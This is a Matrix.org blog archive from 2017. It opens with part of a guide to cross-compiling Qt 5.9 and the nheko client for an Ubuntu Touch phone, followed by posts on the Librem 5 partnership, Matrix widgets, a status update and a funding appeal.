sudo ubuntu-device-flash --server=http://system-image.ubports.com touch --device=vegetahd \\ --channel=15.04/stable --bootstrap --recovery-image=recovery-vegetahd.img \\ --developer-mode --password=secret
  • Ensure the system OS is writable. (Ubuntu Touch runs the OS partition read-only by default to protect users. In this case, you can always re-flash it if all goes wrong.)
sudo phablet-config writable-image
  • Get an SSH server running on the phone before you go insane
adb shell sudo /etc/init.d/ssh start # password is as set when flashing.
Step two: cross-compile latest Qt 5.9 for the phone.

Ubuntu 15.04 shipped with 5.4, which is pretty old now, and too old for nheko. Based on https://rm5248.com/cross-compile-qt-for-arm/

# grab the source for Qt5 git clone git://code.qt.io/qt/qt5.git cd qt5 ./init-repository # grab the right dev headers (as qtubuntu needs dbus & atspi support) ssh [email protected] "sudo apt-get install libdbus-1-dev libatspi2.0-dev libssl-dev" # grab a copy of the root filesystem on the phone for the cross-compile to run against. # you could also sshfs mount or something if you could be bothered. mkdir ~/phone rsync -avz --exclude /proc --exclude /run --exclude /sys --exclude /dev \\ --exclude /android --exclude /var/lib/lxc [email protected]:/ ~/phone/system export ROOTFS=~/phone # install the crosscompiler. # We probably have to use GCC 4.9 so that it can link ok against the older system libraries # (libstdc++ etc) on Ubuntu Touch 15.04 sudo apt-get install arm-linux-gnueabihf-g++-4.9 # fix up the absolute symlinks (important!) cd ~ git clone https://github.com/rm5248/cross-compile-tools.git ./cross-compile-tools/fixQualifiedLibraryPaths $ROOTFS /usr/bin/arm-linux-gnueabihf-g++-4.9 # define a mkspec target for armhf cd ~/qt5 cp -a qtbase/mkspecs/linux-arm-gnueabi-g++ qtbase/mkspecs/linux-arm-gnueabihf-g++ cat > qtbase/mkspecs/linux-arm-gnueabihf-g++/qmake.conf <<EOT # # qmake configuration for building with arm-linux-gnueabihf-g++ # MAKEFILE_GENERATOR      = UNIX CONFIG                 += incremental QMAKE_INCREMENTAL_STYLE = sublib include(../common/linux.conf) include(../common/gcc-base-unix.conf) include(../common/g++-unix.conf) # modifications to g++.conf QMAKE_CC                = arm-linux-gnueabihf-gcc-4.9 QMAKE_CXX               = arm-linux-gnueabihf-g++-4.9 QMAKE_LINK              = arm-linux-gnueabihf-g++-4.9 QMAKE_LINK_SHLIB        = arm-linux-gnueabihf-g++-4.9 # modifications to linux.conf QMAKE_AR                = arm-linux-gnueabihf-ar cqs QMAKE_OBJCOPY           = arm-linux-gnueabihf-objcopy QMAKE_NM                = arm-linux-gnueabihf-nm -P QMAKE_STRIP             = arm-linux-gnueabihf-strip !host_build {QMAKE_INCDIR_OPENGL     = $ROOTFS/usr/include/GL QMAKE_LIBDIR_OPENGL     = $ROOTFS/usr/lib/arm-linux-gnueabihf # GCC 4.9 apparently doesn't know where its own libstdc++ headers are when cross-compiling... QMAKE_INCDIR            = /usr/arm-linux-gnueabihf/include/c++/4.9.3 \\ /usr/arm-linux-gnueabihf/include/c++/4.9.3/arm-linux-gnueabihf}load(qt_config) EOT # build it! ./configure \\ -v \\ -confirm-license \\ -prefix /opt/qt5-arm \\ -sysroot $ROOTFS \\ -opensource \\ -nomake examples \\ -nomake tests \\ -opengl es2 \\ -qpa ubuntumirclient \\ -xplatform linux-arm-gnueabihf-g++ \\ -platform linux-g++ \\ -feature-accessibility \\ -feature-accessibility-atspi-bridge \\ -feature-webrtc \\ -feature-proprietary-codecs \\ -reduce-exports make -j8 # go to lunch make install

If anything goes wrong, a good bet (having backed up your new mkspec target) is to git clean everything:

git submodule foreach --recursive "git clean -dfx" git clean -dfx

Step 3: compile qtubuntu for Ubuntu-specific Qt stuff like the integration with the Mir display server (hey, at this point it feels like we're building our very own zombie Ubuntu Touch 17.04... :/)

# grab dev package deps ssh [email protected] "sudo apt-get install libubuntu-application-api-dev libudev-dev" rsync -avz --exclude /proc --exclude /run --exclude /sys --exclude /dev \\ --exclude /android --exclude /var/lib/lxc [email protected]:/ ~/phone/system ~/cross-compile-tools/fixQualifiedLibraryPaths $ROOTFS /usr/bin/arm-linux-gnueabihf-g++-4.9 # grab the qtubuntu source bzr branch lp:qtubuntu # find an version old enough that it builds against the old mir in 15.04 bzr revert -r 345 # cherrypick patches so it builds against qt 5.9... http://bazaar.launchpad.net/~phablet-team/qtubuntu/trunk/revision/354 http://bazaar.launchpad.net/~phablet-team/qtubuntu/trunk/revision/372 http://bazaar.launchpad.net/~phablet-team/qtubuntu/trunk/revision/394 # ...we probably need others too. /mnt/build/qt5/qtbase/bin/qmake -spec /mnt/build/qt5/qtbase/mkspecs/linux-arm-gnueabihf-g++ # we probably should have told Qt about more pkgconfig libraries when we built it, so as to not have to do it manually here... export PKG_CONFIG_LIBDIR=$ROOTFS/usr/lib/pkgconfig:$ROOTFS/usr/share/pkgconfig:\\ $ROOTFS/usr/lib/arm-linux-gnueabihf/pkgconfig/:$ROOTFS/opt/qt5-arm/lib/pkgconfig/ export PKG_CONFIG_SYSROOT_DIR=$ROOTFS # might need to manually explicitify the --sysroot definitions in qt's qconfig.pri # as otherwise QT_SYSROOT seems not to be getting picked up for reasons unknown make -j4 cp src/ubuntumirclient/libqpa-ubuntumirclient.so $ROOTFS/opt/qt5-arm/plugins/platforms/ # Need to build our own libmaliitphabletplatforminputcontextplugin.so for onscreen keyboard, as # you can't mix Qt platform plugins between versions - see https://bugreports.qt.io/browse/QTBUG-46009 cd bzr branch lp:ubuntu/vivid/maliit-framework cd maliit-framework # add QMAKE_LFLAGS+='-lQt5Network -lGLESv2' to config.pri # technically don't need to build all of maliit - only the platform inputcontext plugin is required export QMAKEMODULES=/mnt/build/qt5/qtdeclarative/mkspecs/modules /mnt/build/qt5/qtbase/bin/qmake -spec /mnt/build/qt5/qtbase/mkspecs/linux-arm-gnueabihf-g++ make -j4 # build the input-context plugin cd input-context # change the version of the plugin in main.cpp so that it's picked up by Qt 5.9 (the API hasn't changed; # it's just the difference between an explicit and implicit version): # Q_PLUGIN_METADATA(IID "org.qt-project.Qt.QPlatformInputContextFactoryInterface.5.1" FILE "maliit.json") /mnt/build/qt5/qtbase/bin/qmake -spec /mnt/build/qt5/qtbase/mkspecs/linux-arm-gnueabihf-g++ make -j4 make install # rsync our beautiful new Qt5.9 over to the phone, including the qtubuntu plugin rsync -avz $ROOTFS/opt/qt5-arm [email protected]:/opt/

Step 4: cross-compile nheko as an experiment

# check it out git clone --recursive git+ssh://[email protected]/mujx/nheko cd nheko # define a cross-compile toolchain (https://cmake.org/Wiki/CMake_Cross_Compiling) cat > Toolchain-arm-linux-gnueabihf.cmake <<EOT # this one is important SET(CMAKE_SYSTEM_NAME Linux) # this one not so much SET(CMAKE_SYSTEM_VERSION 1) # needed to get the right flavour of ARM SET(CMAKE_SYSTEM_PROCESSOR armv7) # specify the cross compiler SET(CMAKE_C_COMPILER   /usr/bin/arm-linux-gnueabihf-gcc-4.9) SET(CMAKE_CXX_COMPILER /usr/bin/arm-linux-gnueabihf-g++-4.9) # where is the target environment SET(CMAKE_SYSROOT  $ROOTFS) SET(CMAKE_FIND_ROOT_PATH  $ROOTFS) # sort out our includes... SET(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} \\ -I$ROOTFS/usr/include/c++/4.9 \\ -I$ROOTFS/usr/include/arm-linux-gnueabihf \\ -I$ROOTFS/usr/include/arm-linux-gnueabihf/c++/4.9") SET(CMAKE_EXE_LINKER_FLAGS "${CMAKE_EXE_LINKER_FLAGS} \\ $ROOTFS/lib/arm-linux-gnueabihf/libc.so.6 \\ $ROOTFS/usr/lib/arm-linux-gnueabihf/libm.so \\ $ROOTFS/usr/lib/arm-linux-gnueabihf/libhybris-egl/libGLESv2.so.2") # search for programs in the build host directories SET(CMAKE_FIND_ROOT_PATH_MODE_PROGRAM NEVER) # for libraries and headers in the target directories SET(CMAKE_FIND_ROOT_PATH_MODE_LIBRARY ONLY) SET(CMAKE_FIND_ROOT_PATH_MODE_INCLUDE ONLY) SET(CMAKE_PREFIX_PATH $ROOTFS/opt/qt5-arm) EOT # grab its dependencies on the phone and sync them over to your local phone FS copy ssh [email protected] 'sudo apt-get install liblmdb-dev' rsync -avz --exclude /proc --exclude /run --exclude /sys --exclude /dev \\ --exclude /android --exclude /var/lib/lxc [email protected]:/ ~/phone/system ~/cross-compile-tools/fixQualifiedLibraryPaths $ROOTFS /usr/bin/arm-linux-gnueabihf-g++-4.9 # gen the makefile sudo apt-get install cmake cmake -DLMDB_LIBRARY=$ROOTFS/usr/lib/arm-linux-gnueabihf/liblmdb.so \\ -DCMAKE_TOOLCHAIN_FILE=`pwd`/Toolchain-arm-linux-gnueabihf.cmake \\ -H. -Bbuild -DCMAKE_BUILD_TYPE=Release # remove -march=native from CMakeLists.txt # build it VERBOSE=1 make -C build -j4 # XXX: you might need to touch the Toolchain file and then run again to pick up # the CXX_FLAGS correctly for some reason. # run it! rsync -avz $ROOTFS/home/phablet/nheko [email protected]:/home/phablet ssh [email protected] "export MIR_SOCKET=/run/user/32011/mir_socket; ./build/nheko --desktop_file_hint=unity8" # N.B. if debugging under gdb, use `handle SIGILL nostop`

Step 5: Package nheko

# make sure you have a manifest.json, nheko.png, nheko.apparmor and nheko.desktop. # If you don't have an icon, the app won't show up. # you can grab it from the matthew/mobile branch of github.com/matrix-org/nheko click build ./ scp im.vector.nheko_0.1_all.click [email protected]: # install it ssh [email protected] pkcon install-local --allow-untrusted im.vector.nheko_0.1_all.click # ...and then swipe down on the app listing to hopefully see the app there. # if that doesn't work, you can manually launch it with: ssh [email protected] ubuntu-app-launch im.vector.nheko_nheko_0.1

PR

2017-08-30 — General — 

Press/Media Contact

You can reach us by email at [email protected], or reach Matthew or Amandine on Matrix via Riot.im (or your favourite Matrix client).

Who is Matrix.org?

Matrix.org is the world leader in decentralised encrypted communication, with project lead Matthew Hodgson a regular speaker at conferences such as FOSDEM and decentralisation/privacy summits. In Sept 2016 Matrix released the world's first ever publicly audited end-to-end encryption “Olm”, based on the Double Ratchet Algorithm.

Matrix core team is based in London (UK) and Rennes (France).

Branding Identity

Matrix logo, black on transparent background, PNG format (also available in SVG)Matrix logo, white on transparent background, PNG format

The Librem 5 from Purism: A Matrix Native Smartphone.

2017-08-24 — General — 

Hi folks,

This is a big news week in Matrixland: hot on the heels of releasing Matrix Widgets and Riot 0.12, we have another massive announcement to make!

We've been approached by Purism to partner up to provide the communications subsystem for their upcoming Librem 5 smartphone - for which they are launching a crowdfunding campaign starting today! The whole idea of the phone is to provide unprecedented privacy, security and autonomy by running an entirely FOSS Debian-based GNU/Linux stack (even including CPU & GPU drivers!), and we are incredibly proud and overexcited that the folks at Purism have asked the Matrix core team to provide the native dialler and messaging app for the phone.  Yes, this means that the phone will literally boot by default into Matrix for all its primary communications (although, being FOSS, you could of course use a different dialler if you wanted).  The intention is to be a very usable and flexible phone for folks who value freedom, privacy and simplicity over the (relative) quagmire of iOS or Android - and of course jumping way ahead of where Apple or Google are in terms of integrating next-generation communications into the very heart of the device.

This is unbelievably exciting, as Matrix's vision from the outset has been to provide an open, decentralised and encrypted alternative to the Public Telephone Network - and the idea of devices emerging which are native to Matrix is a dream come true. It also gives us the excuse that we've been looking for to produce a truly excellent lightweight native Matrix client, built to run on both handset and desktop devices, complete with end-to-end encryption.  We're not sure whether this is going to end up being Qt or GTK based yet, but expect to see the Matrix team getting a lot more involved in the current native Matrix client projects (nheko, Quaternion, ruma-gtk, matrix-glib-sdk, qmatrixclient etc) in future!

Depending on the success of the crowdfunding campaign, it may also give us scope to finally build out proper carrier-grade Matrix<->PSTN bridges: letting Matrix clients terminate and originate VoIP calls on the public phone network.  It's long been an embarrassment that Matrix hasn't had this given that pre-Matrix we spent our lives building commercial SIP gateways and softphones for telcos, and the ability to use Matrix as a proper VoIP softphone on dedicated hardware is incredibly appealing.  Obviously the phone will also support GSM calling, but the intention is to default to WebRTC calling using Matrix whenever the phone has good IP connectivity - making it truly an IP-first smartphone.

Now, this is obviously a very ambitious project, but we believe that Purism is able to deliver based on the work they've done already with crowdfunding and shipping Librem 15 and 13 laptops, shipping with as open a FOSS stack as is possible on contemporary hardware, complete with unique privacy features such as hardware kill-switches for Camera, Wifi, Bluetooth etc.  We met with them at GUADEC 2017 and subsequently heard trusted reports from DebConf 2017 of the quality of the hardware.  It seems that as the company has gathered experience their ambitious goals have become more and more attainable - and it's also interesting that their dev team is significantly made up of core Debian developers (including Chris Lamb, the Debian Project Leader for 2017).  We're particularly excited from a philosophical perspective that the Librem 5 is targeting the NXP (Freescale) i.MX6 or i.MX8 ARM-based processor and Vivante GPU - both of which can be run without any proprietary microcode or proprietary drivers.  From everything we've heard, this is going to be a spectacularly FOSS-friendly device.

So, if you're interested in being first to own the world's first ever Matrix-native phone, or if you want to support the creation of a kick-ass native Matrix desktop/handset client, or perhaps if you want carrier-grade VoIP in Matrix... then please head over to Puri.sm and join the campaign!  Needless to say, if the campaign is successful it will also significantly help Matrix's current funding situation.

Finally, for more context, here's a special mid-week episode of Matrix "Live", featuring Matthew and Todd Weaver, the CEO of Purism, discussing the Librem 5 and what it means for both Purism and Matrix!

As always, feedback on this project is very welcome - come tell us in #matrix:matrix.org what you think!  And thank you, if you choose to support this campaign :)

Matthew, Amandine & the team.

Introducing Matrix Widgets - including Jitsi video conferencing!

2017-08-23 — General — 

Hi all,

We've been working hard over the last few months on the brand new concept of Matrix "widgets” (sometimes called “apps”, but we'll call them “widgets” here to be marginally less ambiguous) - and we're super excited to see an initial implementation of them land today in Riot/Web 0.12 (alongside always-on Rich Text Editor - the culmination of huge amounts of work by Aviral Dasgupta in his GSoC 2016 project and Luke from the core Matrix team).  For user-focused details about Riot 0.12 you should probably head over to the Riot blog; meanwhile we'll focus here on widgets from the developer perspective.

Widgets are a deceptively simple idea: the ability to pin small form-factor webapps (called widgets) into a given Matrix room, letting admins build up a dashboard of functionality which is then in common and automatically available to everyone who views that room.  You can think of it as being similar to installing an app onto a smartphone, but instead pulling it into a Matrix conversation.  This could be a Jitsi video conference, or a collaborative document editor, or a Grafana dashboard, or anything you can imagine really (assuming its security headers support embedding).  Here's an example of a room with an ongoing Jitsi conference coupled with a Grafana graph, as you might use for a devops war room:

The URLs of the widgets are stored in the state of the room with some high-level layout hints, and the idea is that any Matrix client will be able to expose the widgets for the current room to a user.  For a simple command-line client this could just be listing the URLs of the widgets so the user can open them in a browser; for a web client like Riot/Web they're embedded via iframes; for a native client like Riot/iOS they could be shown via a WebView - or there's always the chance of the native client recognising the URL being requested and swapping it out for an optimised local native implementation instead.  For now, widgets don't really have a way of communicating with the host Matrix client (other than by speaking Matrix to the homeserver!), although we're looking at adding a PostMessage API to improve this.

Now, in an ideal world we would have enough bandwidth to have formally added widgets to the Matrix spec, but unfortunately we are way behind on spec work currently, thanks in part to our current funding problems. (Remember, if you like Matrix, please donate or get your company to donate otherwise we are at real risk of hitting a very big funding wall).  Rather than formal spec, we've focused on rushing an initial implementation out the door in matrix-react-sdk (and thus riot-web) to see how they work first in reality.  Riot/iOS and Riot/Android are coming soon - although we've special-cased the Jitsi video conferencing widget in iOS to be implemented natively, which is actually available already on develop(!)

Right now the widgets supported by Riot are prefixed behind the im.vector.modular.widgets state event, whose format is something like:

{type: "im.vector.modular.widgets", state_key: "widget1", content: {type: "grafana", url: "https://matrix.org/grafana/whatever", name: "matrix.org bridges dashboard"}room_id: "!foo:bar.com", sender: "@kegan:matrix.org"}

Currently the only layout hint is that the order of the event determines the order in which the widget should be displayed on the page.  Riot/Web's initial implementation is very naive and shows only up to two widgets per page, although we're hoping to make this much more generic and flexible in future.  To add widgets in Riot/Web you can now hit the new widget manager button in the top right - and to show/hide existing ones in the room you can hit the show/hide app drawer button in the bottom right.

The UI for adding widgets to a room in Riot is currently via Modular - the new name for Riot's SaaS integration hosting platform, formally codenamed Scalar.  This is a separate webapp loaded in an iframe which guides you through choosing widgets to embed which are hosted by Modular, although in the near future we'll also add UI to let you specify widget URLs directly.  If you need this today, you'll need to manually inject a state event like the one above into the room to provision the widget.

This is very much the minimum viable implementation of widgets: the stuff left to do includes:

  • Adding them to the spec, and getting clients other than Riot using them!
  • Supporting better layouts (especially to allow for more screen real-estate) and more than 2 widgets
  • Ability to add widgets directly, for situations where Modular isn't available
  • Speccing APIs for widgets to interact directly with the host client - with the appropriate permissions model
  • Adding lots more prepackaged widgets to the Modular store!
Modular comes with 6 widgets ready to go: Grafana, Jitsi, Etherpad, YouTube, Google Docs and Custom Widget (which lets you add any arbitrary URL into the room). The most exciting of these is probably Jitsi, which provides Hangouts-style video conferencing into any room.  This provides a welcome alternative to our 'native' conferencing functionality which sadly got stuck in a permanent early beta - and includes full screensharing as well!  The only catch is that it hasn't been released on iOS yet, and Android is still be to be implemented - but the experience is a still massive improvement over what we've had historically.  Here's a screenshot of some of the core team doing a 6-way conference with the native Jitsi functionality now included in Riot/iOS!

Finally, if you want to write your own widget, just create a webapp and play with it via the Custom Widget interface.  If it's something useful for other people then please ping us on #matrix-dev:matrix.org and we'll see about getting it added as a preset application in Modular.

We think widgets are an awesome example of how Matrix can be used to coordinate collaboration between users in a room - for now it's just simply ensuring that users are looking at the same set of webapps when in a room, but in future you can see how it could extend to co-browsing, co-editing, payment functionality, or generally using Matrix to coordinate things other than textual/voip chat.  The sky's the limit, and we're hoping the Modular store (and other app stores) will start overflowing with apps in the near future!

As always, feedback is very welcome on new experimental stuff like this - so please come tell us what you think in #matrix:matrix.org!  And finally: huge kudos to Rick, Kegan, Rob, and everyone else who have been working away bringing Widgets to life.  It's the beginning of a new era :D

Matthew

Matrix.org status update - July 2017

2017-07-19 — General — 

Hi folks,

Thought it was worth giving a quick status update on what's going on since our last blog post, which explained the funding situation Matrix has found itself in.  The TL;DR is that we're still here; things are moving faster than ever (not least as we refocus on getting everything needed to get Matrix funded and sustainable in the longer term), but we still need concrete support from the community (both company sponsorship and personal donations) to ensure things keep going at the current rate.

 

Funding Status

So, the good news is that we had a great initial response to last week's call to help - right now we have 199 people signed up on Patreon (go on, be the 200th! you know you want to :D), ~30 on Liberapay, and 14 bitcoin donations.  This sums up to just over $2000/month - which is getting close to our initial Patreon goal of $2500/month to helping support half the cost of the less senior devs working on Matrix. Endless thanks to everyone who has donated - especially the 19 folks (18 on Patreon, one on Liberapay) who have so generously pledged $50 or more a month!! Meanwhile, if you're reading this and you haven't pledged support yet - please consider heading over to Patreon or Liberapay or Bitcoin 1LxowEgsquZ3UPZ68wHf8v2MDZw82dVmAE and helping keep the project running.  Literally every dollar counts.

Meanwhile, while Patreon & friends are headed in the right direction to support one developer, we still have another 10 people working on all the various core components of Matrix itself who need to be supported in the near future.  (We look to be safe for the next month or two, but beyond that we're counting on having solved this problem ;).  Right now we are hoping that companies who believe in Matrix and/or are building services on top will step up to sponsor development - as it's pretty obvious that accelerating Dendrite, final E2E, Groups etc will improve professional Matrix-based services immeasurably.  If this sounds like you, please get in touch asap.

We're also able to provide paid consulting and development (and prioritised development) services on Matrix (through Vector, the for-profit company responsible for Riot) for large pieces of work - for instance, if you're anxious to see enterprise-focused Matrix features land sooner than later, please reach out.

Exciting news is that we already have one concrete offer of paid consulting work from a very major company who happens to love Matrix, building out Integrations capabilities which should directly benefit the wider Matrix ecosystem - and we also are very proud to announce our very first official corporate sponsor (see the next section for details)!  However, we still have a long way to go, so don't be shy about getting in touch: we need your support!

Heads up that we've also started our various reward schemes for supporters - folks donating more than $5 on Patreon will have already heard most of this update in the first episode of the video blog that Amandine & I posted last Friday; and folks donating more than $10 will have heard some of the other details first hand through the broadcast of the global team weekly sync on Monday!  We're still figuring out how to get these rewards over to liberapay & bitcoin supporters (not helped by both services being anonymous...).  We haven't yet opened up the #matrix-supporters:matrix.org room as maintaining the accesslist is effectively blocked on Groups landing.  We also want to use Groups to manage the various lists of supporters around the place, so apologies that we haven't got the lists published yet!

Finally on the funding side of things: we're setting up the Matrix.org Foundation non-profit legal entity this week, letting us accept donations and sponsorship in a way which can directly fund the core developers (more details as we have them).  As soon as it's incorporated, we'll be able to sign up fully on Liberapay to accept donations there.

 

Announcing UpCloud: our very first official Matrix.org Corporate Sponsor!

As hinted above, we're incredibly excited and happy that UpCloud have signed up as our first official corporate sponsor.  UpCloud has already been hosting all of Matrix.org's infrastructure for the last 6 months (no mean feat, given the scale of the Matrix.org synapse & postgres!) - and last week they committed to extend their sponsorship further to help the project out in our time of need.

We've been very impressed with UpCloud's service since migrating over back in February - particularly their spectacularly fast block IO (~350MB/s write, 92,000 IOPS, and over 5GB/s read!!) which is incredibly useful for running a huge synapse deployment like Matrix.org's - and they have a great footprint of datacentres around the world.

They also like Matrix so much that they've written this great tutorial for getting Synapse up and running on their hosts - and best of all, they have a special $25 discount for anyone in the Matrix community who wishes to use them: check out https://www.upcloud.com/matrix/ for the details!

We'd like to thank them profusely for being first in line to support us - and we look forward to seeing how far we can push their hardware over the coming months! :D

 

Development Status

Finally, loads and loads of stuff is happening on Matrix itself.  The main headlines are:

  • Groups.  Work in Synapse and matrix-react-sdk is happening at breakneck speed to get Groups out the door as soon as possible, so we can use them both to support the funding drive and in general to implement one of the most asked-for features of Matrix: the ability to group rooms together into a well-defined community (similar to Slack Teams or Discord Servers etc).  The way Groups work is to let users define groupings of both users and rooms; you can also define a metadata for the group to let you build homepages similar to the one which Riot/Web sprouted a few months ago.  You can then refer to the group of users when inviting/banning/kicking etc - or when managing your own roomlist.  We think it's going to completely change how people use Matrix, and can't wait to see it land on riot.im/develop, although it's still a few weeks away.
  • E2E Crypto.  We have three main things remaining here, after which E2E should be much much more usable for day-to-day purposes:
    1. Fixing the matrix-js-sdk to store crypto state in indexeddb rather than localstorage, to prevent multiple browser tabs racing and corrupting localstorage (which provides no locking mechanism).  This turns out to be much more of an epic than we thought, as indexeddb's APIs are all strictly async, resulting in a whole bunch of previously synchronous APIs in matrix-js-sdk needing to become async too, as well as requiring us to switch promises library at least from Q to Bluebird.  However, most of this is now done so hopefully the new storage layer will land shortly.  https://github.com/vector-im/riot-web/issues/2325 is the bug tracking this one...
    2. Fixing the overall UX of managing devices in a room (including key shares).  https://github.com/vector-im/riot-web/issues/4522 is the bug for this one :)  Relatedly we also need to ensure invitees can decrypt messages in e2e rooms before they join (if history visibility allows it) - this is https://github.com/vector-im/riot-web/issues/3821
    3. Fixing the UX of verifying devices (including cross-signing devices), to minimise the pain in verifying device ownership. https://github.com/vector-im/riot-web/issues/2142 is the master bug for this.
  • Integrations.  A large slice of the team is working on our next-generation integration hosting platform, which is starting to look unspeakably awesome.  We'll be yelling loudly about this once there's something to see and play with...
  • Rich Text Editor.  This was originally a GSoC project from last year, but is finally on by default now in matrix-react-sdk - letting users author their messages with full WYSIWYG behaviour and critically have a radically improved autocompletion UI/UX, including emoji, user names, room names, etc.  You can check it out at riot.im/develop already :)
  • Mentions.  We're finally semantically tagging references to users in messages so that they can be displayed nicely in the UI, and help with highlighting notifications!  This is due as soon as the Rich Text Editor work has finished.
  • Mobile SDKs.  The iOS & Android teams are currently on a mission to get parity between the iOS & Android SDKs and matrix-react-sdk.  This is stuff like implementing the new User Search API; Membership Event List Summaries; Dark theme(!); Translations; etc.  Progress is looking good!
  • Synapse performance.  Many many optimisations when calculating push rules when sending messages, which was taking up a substantial amount of the send path time.  Synapse develop looks to have reduced this significantly now - and as of Monday we're running the new optimisations on Matrix.org.
  • Dendrite.  Lots of work going into implementing Invitations currently, including improvements to the overall append-only log architecture to support them nicely.
  • Riot-Static.  This is one of our GSoC projects this year, written by Michael Telatynski (t3chguy) - providing a full static (no-JS) read-only view of Matrix, suitable for dumb web browsers and search engines.  It's looking really exciting (although needs CSS) - there's a copy currently deployed over at https://stormy-bastion-98790.herokuapp.com/.
Meanwhile, there's a tonne of stuff happening in the community - an excellent summary may be found at this Community Round Up blog post by uhoreg!

So: this is where things stand right now - the team is sprinting away getting all the stuff above landed, and meanwhile I'm spending most of my life worrying about funding.  We'll try to keep blogging more regularly to give better visibility on progress on both the funding & development situation, as well as to ensure there's a written public record as well as the regular supporter-only updates.  However, for the latest realtime updates and sneak previews and tidbits you'll probably want to sign up on Patreon or Liberapay :D

--Matthew

[EDIT: I got the UpCloud stats completely wrong - they are even faster (by 10x!) than I quoted; the figures are now updated :)]

A Call to Arms: Supporting Matrix!

2017-07-07 — General — 

Hi folks,

TL;DR: if you like Matrix (and especially if you're building stuff on it), please support us via Patreon or Liberapay to keep the core team able to work on it full-time, otherwise the project is going to be seriously impacted.  And if you're a company who is invested in Matrix (e.g. itching for Dendrite), please get in touch ASAP if you'd like to sponsor core development work from the team.  And if you're a philanthropic billionaire who believes in our ideals of decentralisation, encryption, and open communication as a basic human right - we'd love to hear from you too O:-)

I was expecting this blog post to be the Matrix Summer Special, focusing entirely on the incredible progress and updates we've made in the last few months in Matrix.  However, instead I'm going to talk about something different and literally critical to Matrix's success.

As many people know, Matrix.org development has historically been exclusively and very generously sponsored by a large multinational telecoms infrastructure company for whom most of the core team once built telco messaging apps.  However, despite the project progressing better than ever (more on that later), we have just had our funding dramatically cut by >60%. [Update: as of Aug 2017 it is effectively cut entirely, with enough $ left over to cover until end of October.]

We seem to be suffering from a darkly amusing paradox, as the rationale from our corporate overlords is essentially: “Wow! Matrix is doing great and growing well - and you seem to have all sorts of exciting people and companies using and building on it.  But we've been footing the whole development bill since the outset in May 2014, and this simply doesn't feel fair.  We're happy to keep funding though - but only if others do too!”.  In other words, in some ways we are a victim of our own success...

So we now find ourselves in the situation that despite the project looking better than ever and having a tonne of amazing stuff in the pipeline, we are suddenly missing the funding to keep the core team working on it.  And the team is quite sizeable - reflecting the ambition and size of Matrix: right now we have effectively 11 people working specifically on Matrix itself: 1 on Synapse, 1 on Dendrite, 1 on e2e crypto, 2 on matrix-react-sdk (which powers Riot/Web), 2 on matrix-ios-kit / matrix-ios-sdk, 2 on matrix-android-sdk, 1 on bridges, and me (Matthew) managing the overall project.  (This ignores folks who overlap the team who are working specifically on Riot stuff).

Over the last few years we've had countless people ask if they can financially support Matrix. We haven't been able to accept it for various reasons, but now is the time for us to step towards a more independent setup, and avoid a repeat of the situation we're currently facing by opening up to external support.

So we need help from the community to keep going!  Please head over to Patreon or Liberapay and put some money in the meter (or send some bitcoin to 1LxowEgsquZ3UPZ68wHf8v2MDZw82dVmAE or ether to 0xA5f9a4f9E024F6D727f7afdA9257e22329A97485). In return, you'll get to keep Matrix evolving at a decent rate, be a member of the upcoming +supporters:matrix.org group (complete with flair badges!), and other benefits like access to #matrix-supporters:matrix.org - a new dedicated room for prioritised support, discounted goodies from Riot once paid services arrive, access to a weekly supporters-only status podcast(!), and of course receive our eternal thanks. :)

Meanwhile, if you're a company who depends on Matrix: please get in touch. We have the option for you to sponsor core Matrix development (e.g. Dendrite) or for us to provide you with more targeted support or feature development.  We're already talking to several organisations who want to accelerate Dendrite specifically - and the more support we have there the faster we can go.

We'd also like to thank UpCloud for sponsoring hosting for the Matrix.org synapse instances - UpCloud has been coping impressively with the massive I/O and CPU/RAM requirements we have, and we recommend them unreservedly for folks looking to run their own homeservers.

Finally, one of the longer term plans to help fund Matrix is to get sponsorship from Riot, once Riot starts offering paid services. So, if you're an investor who's interested in the for-profit sides of Riot (paid integrations and paid Matrix hosting) then please get in touch with the Riot team ASAP!

Moving forward we are confident that we can secure funding, through sponsorship and Riot paid services, but in truth this decision caught us by surprise and so we need help both long term but also right now!

And whatever the funding situation, we're of course always looking for contributions for code, bug reports, or just spreading the word about the project too! :)

Status Update

(or scroll to next section to see why this is bigger than "just" decentralised encrypted communication)

Despite the funding issue, the project really is going very well. Our vital stats (as seen through the lens of the matrix.org synapse) are looking like this:

And meanwhile, looking back at the last big update (Holiday Special 2016), we can compare our progress with our goals for 2017 thus far:

  • Getting E2E Encryption out of beta ASAP.
This has progressed massively - we haven't really yelled about it yet, but latest https://riot.im/develop/ now finally implements the ability to share message keys between clients to let them decrypt older history and fix “unable to decrypt” errors (Mobile coming soon).  Meanwhile various root causes of “unable to decrypt” errors have been gradually eliminated; I can't actually remember the last time I saw one! Once key-sharing and improved device verification UX is fully tested and tuned we should be able to declare E2E out of beta.
 
  • Ensuring we can scale beyond Synapse – i.e. implement Dendrite
Likewise, Dendrite is on track: we've implemented all the Hard Stuff which forms the skeleton of Dendrite (core federation, message signing, /sync, message sending, media repository etc) - which takes us to over 50% of Phase 1. After phase 1, we will have an initial usable release for all the core functionality.  Synapse's performance has also improved enormously this year.
  • Getting as many bots and bridges into Matrix as possible, and doing everything we can to support them, host them and help them be as high quality as possible – making the public federated Matrix network as useful and diverse as possible.
Bridges and bots continue - from the core team we have a ‘puppeting' Telegram bridge (matrix-appservice-tg), and from the wider community we have Discord, Skype, Signal, new Rocket.Chat and more.  Getting them polished and live is certainly an area where we need more manpower though.
  • Supporting Riot's leap to the mainstream, ensuring Matrix has at least one killer app.
Riot has been sprouting new releases every few weeks, with a huge emphasis on proving UX:
  • an entirely new streamlined sign-up process
  • the new concept of home pages
  • a user directory search that actually works
  • internationalised to 27 languages
  • compact layout
  • loads of desktop improvements
  • piwik analytics support; etc.

There is still a lot of UX work to be done, but it's converging fast on being a great entry point into the Matrix ecosystem, driving its growth across different groups and communities..

Meanwhile, a massive update to the iOS & Android apps just landed yesterday, switching to an entirely new UI layout to separate People from Rooms, synchronized Read Markers, and more!

  • Adding the final major missing features:
    • Customisable User Profiles (this is almost done, actually)
This is still hovering at ‘almost done', and will be needed for some of the implementation of Groups (see below)..
  • Groups (i.e. ability to define groups of users, and perform invites, powerlevels, etc. per-group as well as per-user)
Groups are also in testing in Synapse too!  These will probably be the single biggest change to Matrix that we've seen since E2E encryption landed: it changes the dynamic of the whole network, given users can explicitly declare allegiance to different groups, which in turn have their own home pages and directories etc.  It lets users form communities, and declare their participation in those communities (if desired), and also lets rooms be grouped together.  One of our single biggest requests has been “subrooms” and we're incredibly excited to see how well Groups solve this.
